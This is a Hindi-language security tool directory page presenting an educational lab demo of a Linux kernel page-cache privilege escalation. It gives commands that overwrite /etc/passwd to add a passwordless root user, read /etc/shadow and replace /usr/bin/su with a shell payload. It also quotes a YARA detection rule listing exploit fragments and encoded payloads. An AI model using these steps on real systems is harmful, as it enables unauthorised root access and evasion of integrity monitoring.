Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-31431-CopyFail-Linux-PrivEsc — CVE-2026-31431 का एक डेमो और स्पष्टीकरण | Kitploit
उपकरण/GitHubGitHub/john-popovici/cve-2026-31431-copyfail-linux-privesc
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणलर्निंग और शिक्षाबाइनरी शोषण
GitHubjohn-popovici/cve-2026-31431-copyfail-linux-privesc

CVE-2026-31431-CopyFail-Linux-PrivEsc

CVE-2026-31431 का एक डेमो और स्पष्टीकरण

रिपॉजिटरी देखें

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
1198 दिन पहलेअभी तक समीक्षित नहीं

CVE-2026-31431 CopyFail लिनक्स लोकल प्रिविलेज एस्केलेशन

CVE-2026-31431, लिनक्स कर्नेल Copy Fail लोकल प्रिविलेज एस्केलेशन भेद्यता का प्रदर्शन और व्याख्या। यह भेद्यता पढ़ने की अनुमति के साथ खोली गई फ़ाइलों को पेज कैश में डेटा अधिलेखित करने की अनुमति देती है।

यह रिपॉज़िटरी केवल शैक्षिक उद्देश्यों के लिए है और एक नियंत्रित वातावरण में भेद्यता को दर्शाती है। शामिल फ़ाइलें हैं:

├── exploit
│   ├── copy_fail.py            # Custom exploit that can target any file with read permissions
│   ├── original_payload.txt    # A copy of the payload used in the original exploit
│   ├── copy_fail_original.py   # Original exploit that overwrites /usr/bin/su
│   └── copy_fail_readable.py   # Original exploit in a more readable format with an explanation of the payload
├── README.md
└── Vagrantfile                 # Setup for the Vagrant VM running Ubuntu 22.04

परिचय

Copy Fail नामक यह भेद्यता 2017 से 2026 तक के लिनक्स कर्नेल में algif_aead में एक तर्क दोष के कारण मौजूद है। इसे CVE-2026-31431 सौंपा गया है जिसका CVSS स्कोर 7.8 है, जो इसे उच्च गंभीरता रेटिंग देता है। यह एक्सप्लॉइट नियतात्मक है और पारंपरिक फ़ाइल अखंडता निगरानी उपकरणों को बायपास कर सकता है।

प्रूफ ऑफ कॉन्सेप्ट विभिन्न भाषाओं में प्रकाशित किए गए हैं, जिनमें C, Python और Go शामिल हैं, लेकिन इस प्रदर्शन के लिए Python का उपयोग किया गया है और इसके लिए Python संस्करण 3.10 या उच्चतर की आवश्यकता है। इस एक्सप्लॉइट के लिए एक अल्प-विशेषाधिकार प्राप्त उपयोगकर्ता के रूप में स्थानीय कोड निष्पादन की आवश्यकता होती है और इसका उपयोग स्थानीय प्रिविलेज एस्केलेशन के लिए किया जा सकता है।

नीचे दिए गए अनुभाग हैं:

  • शोषण: एक्सप्लॉइट के प्रदर्शन और इसका उपयोग रूट विशेषाधिकार प्राप्त करने के लिए कैसे किया जा सकता है।
  • शोषण का पता लगाने पर नोट: एक व्याख्या कि यह एक्सप्लॉइट पारंपरिक फ़ाइल अखंडता निगरानी उपकरणों से पता लगाना क्यों कठिन है।
  • भेद्यता: भेद्यता पेश करने वाले कमिट का लिंक और समस्या की व्याख्या।
  • पैच: भेद्यता को पैच करने वाले कमिट का लिंक और समाधान की व्याख्या।
  • अतिरिक्त संसाधन: आगे पढ़ने के लिए संसाधनों की सूची और विभिन्न भाषाओं में एक्सप्लॉइट के कार्यान्वयन

शोषण

सेटअप

सुनिश्चित करें कि आपके पास Vagrant और QEMU स्थापित हैं। फिर, इस रिपॉज़िटरी को क्लोन करें और प्रोजेक्ट निर्देशिका में जाएं।

vagrant up
vagrant ssh

VM के अंदर, हम अपनी क्षमताओं की सीमाओं का परीक्षण कर सकते हैं।

id # uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant)
su # We are prompted for the root password, which we do not have

stat /usr/bin/su # We have read and execute permissions
stat /etc/passwd # We have read permission
stat /etc/shadow # We have no permissions

हम स्पष्ट रूप से अपनी क्षमताओं में सीमित हैं, लेकिन हम विशेषाधिकार बढ़ाने के लिए भेद्यता का उपयोग कर सकते हैं।

शोषण डेमो 1: एक्सप्लॉइट को समझना

भेद्यता को समझने के लिए, आइए एक डमी फ़ाइल को अधिलेखित करें और देखें कि क्या होता है।

echo -e "ABCDE\nF\nG" > dummy.txt
cat dummy.txt

हमारे पास तीन पंक्तियों वाली एक फ़ाइल है। पहली पंक्ति 6 बाइट्स (न्यूलाइन सहित) है, दूसरी पंक्ति 2 बाइट्स है, और तीसरी पंक्ति एक बाइट है। यह महत्वपूर्ण है क्योंकि एक्सप्लॉइट 4 बाइट्स के ब्लॉक में डेटा अधिलेखित करता है, और हम पेलोड को भरने के लिए पैड करते हैं।

python3 exploit/copy_fail.py --target dummy.txt --payload "123456"
cat dummy.txt

हम देख सकते हैं कि हमने फ़ाइल के पहले 8 बाइट्स को अपने पेलोड से बदल दिया है। दो अक्षर हैं जो वहां हैं लेकिन मुद्रण योग्य नहीं हैं। जांचने के लिए फ़ाइल को nano में खोलें। लेकिन यह बहुत रोमांचक नहीं है, तो आइए उन फ़ाइलों में लिखने की ओर बढ़ें जिनके लिए हमारे पास लिखने की अनुमति नहीं है।

शोषण डेमो 2: रूट पासवर्ड हटाना

हम रूट विशेषाधिकारों वाले लेकिन पासवर्ड रहित उपयोगकर्ता को जोड़ने के लिए /etc/passwd की सामग्री को अधिलेखित कर सकते हैं।

cat /etc/passwd

पहली पंक्ति में रूट उपयोगकर्ता है और इसमें 4 अक्षरों के 8 समूह हैं (न्यूलाइन सहित)। यह इस प्रकार प्रारूपित है root:x:0:0:root:/root:/bin/bash, और मान उपयोगकर्ता नाम, पासवर्ड, UID, GID, होम निर्देशिका, शेल को संदर्भित करते हैं।

python3 exploit/copy_fail.py --target /etc/passwd --payload "hackd::0:0:root:/root:/bin/bash
"
cat /etc/passwd

हमने UID 0 और GID 0 वाला एक नया उपयोगकर्ता hackd जोड़ा है, जिसका अर्थ है कि इसमें रूट विशेषाधिकार हैं। पासवर्ड फ़ील्ड खाली है, इसलिए हम बिना पासवर्ड के लॉग इन कर सकते हैं।

su hackd
id
cat /etc/shadow

शोषण डेमो 3: एक्ज़ीक्यूटेबल को अधिलेखित करना

मूल एक्सप्लॉइट में, बाइनरी /usr/bin/su को शेल निष्पादित करने के निर्देशों के साथ अधिलेखित किया जाता है, जिससे हमलावर को su निष्पादित करते समय रूट विशेषाधिकार प्राप्त करने की अनुमति मिलती है। हम एक फ़ाइल से मूल पेलोड के साथ /usr/bin/su को लक्षित करके इस एक्सप्लॉइट को फिर से बना सकते हैं। ध्यान दें कि यह इस पेज कैश में su बाइनरी को नष्ट कर देता है।

python3 exploit/copy_fail.py --target /usr/bin/su --payload-file exploit/original_payload.txt

पेलोड के स्थान पर होने के साथ, हम su निष्पादित कर सकते हैं और रूट विशेषाधिकार प्राप्त कर सकते हैं। यह उपयोगकर्ता आईडी 0 के साथ एक शेल खोलता है, जो आमतौर पर रूट उपयोगकर्ता होता है, लेकिन यदि उपरोक्त डेमो किया गया था, तो यह हमारे द्वारा बनाया गया hackd उपयोगकर्ता होगा। यह एक्सप्लॉइट एक शेल खोलेगा भले ही root उपयोगकर्ता का पासवर्ड हो।

su
id

शोषण का पता लगाने पर नोट

यह एक्सप्लॉइट डिस्क पर फ़ाइल को संशोधित नहीं करता है, बल्कि पेज-कैश स्थिति को संशोधित करता है। परिणामस्वरूप, पारंपरिक फ़ाइल अखंडता निगरानी उपकरण जो डिस्क पर फ़ाइलों में परिवर्तन की जांच करते हैं, इस एक्सप्लॉइट का पता नहीं लगाते हैं।

इसे प्रदर्शित करने के लिए, उपरोक्त एक्सप्लॉइट चलाएं और फिर VM को पुनः आरंभ करने के बाद, लक्ष्य फ़ाइल की सामग्री की जांच करें।

vagrant halt
vagrant up
vagrant ssh
cat /etc/passwd # The file is unchanged on disk

पता लगाने के नियम सामुदायिक GitHub रेपो में साझा किए जाते हैं जो नेटवर्क संकेतकों या ज्ञात स्क्रिप्ट पैटर्न का पता लगाने का प्रयास करते हैं। ये पता लगाने के नियम सार्वजनिक PoC आर्टिफैक्ट्स, ज्ञात पेलोड, कोड अंशों और URL पर आधारित हैं।

  • Yara नियम
  • Sigma नियम

उदाहरण के लिए निम्नलिखित विशिष्ट PoC-संबंधित कोड अंशों या एन्कोडेड पेलोड का पता लगाएगा:

rule EXPL_LNX_Copy_Fail_Artefacts_CVE_2026_31431_Apr26 {
   meta:
...
   strings:
...
      // Code fragments from public PoCs
      $xs1 = "| python3 && su"
      $xs2 = "g.open(\"/usr/bin/su\",0);i=0;"
      $xs3 = "[-] page-cache mutation failed"
      $xs4 = "[+] /etc/passwd page cache mutated"
      $xs5 = "bind(AF_ALG: authencesn(hmac(sha256),cbc(aes)))"
      $xs6 = "/tmp/.cve_test"
...
      // Payloads used in the Go version
      $xg1 = "789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c00111d10d3"
      $xg2 = "789cab77f57163646464800126066606102fa48185c38401014c18141860aae0aa816a40b806c80461569098000383e101c3db1bae9e6d303c1090a1af5f9c91a19f9499d7f93820b8f361e7a10ddc4089db598c11671b0038b31858"
      $xg3 = "78daab77f5716362646480012686ed0c205e05830398efc080091c182c18603a40342b9a2c32bd06ca5b039787e96cb8e421d47009c8bb0214126004f29980788534540cc4e686b0f59332f3f48b3318003ff61578"
      $xg4 = "789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e02e5c1680601086578c0f0ff864c7e568fee1a1501c36f59d61133f9590dff67d944f0b3020082b00eaf"
      $xg5 = "789cab77f57163646464800126066606102fa48185c38401014c18141860aae0aa816a40381fc80461569098000383e101c3db1bae9e6de88e51e1303c99c51d31f36c83e1ed2cc688b30d001bf41180"
      $xg6 = "789cab77f5716362646480012686ed0c205e05830398efc080091c182c18603a40342b9a2c32bd04ca5b029787e96cb8e421d47009c8bbf280dbe1272390cf04c42ba4216220f915dc103600d72b1509"
...
   condition:
      1 of ($x*)
      or ($sa1 and 1 of ($sb*))
}

भेद्यता

टूल डाउनलोड करें